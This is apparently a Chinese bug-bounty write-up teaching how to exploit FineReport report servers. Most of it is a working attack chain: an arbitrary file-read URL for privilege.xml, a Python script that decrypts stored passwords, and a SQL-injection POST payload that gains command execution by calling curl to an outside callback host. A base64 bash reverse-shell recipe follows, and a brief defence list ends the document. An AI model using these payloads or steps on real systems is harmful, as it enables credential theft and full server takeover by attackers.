记录一次SRC挖掘经历
字数 1192 2025-08-29 08:31:54
帆软报表(FineReport)漏洞挖掘与利用教学文档
一、资产发现与信息收集
1.1 子域名发现
使用Google搜索语法:
site:xxx.com -www
通过该语法可以发现目标域名的所有子域名,排除www主站。
1.2 真实IP获取
在访问网站时,观察点击"电信"、"网通"、"自动"等选项时的域名跳转行为,可能会暴露真实IP地址。
1.3 端口扫描与目录扫描
获取真实IP后,进行:
- 全端口扫描
- 目录扫描
常见发现端口:8080端口可能存在ReportServe部署页面
二、漏洞利用链
2.1 任意文件读取漏洞
漏洞URL:
http://xxx.xxx.xxx.xxx:8080/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml
特点:
- 直接访问可能显示空白页,需要查看页面源代码才能获取信息
- 可读取服务器上的敏感文件(如privilege.xml)
2.2 密码解密
从文件中获取的密文格式示例:
___0022007c0039003b005100e3
解密脚本(Python):
cipher = '___0022007c0039003b005100e3' # 密文
PASSWORD_MASK_ARRAY = [19, 78, 10, 15, 100, 213, 43, 23] # 掩码
Password = ""
cipher = cipher[3:] # 截断前三位
for i in range(int(len(cipher)/4)):
c1 = int("0x" + cipher[i*4:(i+1)*4], 16)
c2 = c1 ^ PASSWORD_MASK_ARRAY[i % 8]
Password = Password + chr(c2)
print(Password) # 输出解密后的密码
解密步骤:
- 去除密文前三个字符
- 每4个字符为一组转换为16进制整数
- 与PASSWORD_MASK_ARRAY进行异或运算
- 将结果转换为ASCII字符
2.3 后台登录
使用解密得到的密码(如"123456")登录数据决策系统后台。
三、远程命令执行漏洞
3.1 漏洞信息
影响版本:
- 帆软报表 FineReport v8.0
- 帆软报表 FineReport v9.0
漏洞URL:
http://xxx.xxx.xxx.xxx:8080/ReportServer?op=fr_log&cmd=fg_errinfo&fr_username=posun
(需要将username参数改为已知的有效用户名)
3.2 漏洞验证(POC)
步骤:
- 访问漏洞URL
- 点击"查询"按钮并拦截请求(Burp Suite)
- 替换POST数据为:
{
"__parameters__": {
"LABEL1": "TYPE:",
"TYPE": "6;CREATE ALIAS RUMCMD FOR \"com.fr.chart.phantom.system.SystemServiceUtils.exeCmd\";CALL RUMCMD('curl http://uki7s7.ceye.io');select msg, trace, sinfo, logtime from fr_errrecord where 1=1",
"LABEL3": "START_TIME:",
"START_TIME": "2020-08-11 00:00",
"LABEL5": "END_TIME:",
"END_TIME": "2020-08-11 16:41",
"LABEL7": "LIMIT:",
"LIMIT": 2
}
}
关键点:
TYPE参数中包含恶意SQL语句- 创建别名
RUMCMD调用系统命令执行功能 - 使用
curl测试外连,验证漏洞存在
3.3 反弹Shell
步骤:
- 准备Base64编码的反弹Shell命令:
bash -c {echo,base64编码}|{base64,-d}|{bash,-i}
- 在VPS上监听指定端口(如7777)
- 将上述命令替换到POC的
TYPE参数中执行
注意事项:
- 查询操作不能太频繁,容易触发并发数限制
- 需要等待一段时间(可能一天)并发数才会重置
- 目标系统可能有防护机制,需谨慎操作
四、漏洞组合利用思路
- 通过信息收集发现目标系统
- 利用任意文件读取获取凭证
- 解密凭证后尝试登录后台
- 若后台功能受限,转向未授权RCE漏洞
- 组合利用多个漏洞提升危害等级
五、防御建议
- 及时升级帆软报表到最新版本
- 限制敏感文件(如privilege.xml)的访问权限
- 加强密码加密机制,避免使用固定掩码
- 对用户输入进行严格过滤,防止SQL注入
- 限制系统命令执行功能
- 设置合理的并发请求限制
六、总结
本教学文档详细介绍了帆软报表(FineReport)系统的漏洞挖掘与利用方法,包括信息收集、任意文件读取、密码解密、远程命令执行等关键技术点。通过组合利用多个漏洞,可以实现从信息泄露到系统完全控制的全过程。在实际渗透测试中,需要注意操作频率和系统防护机制,避免触发安全警报。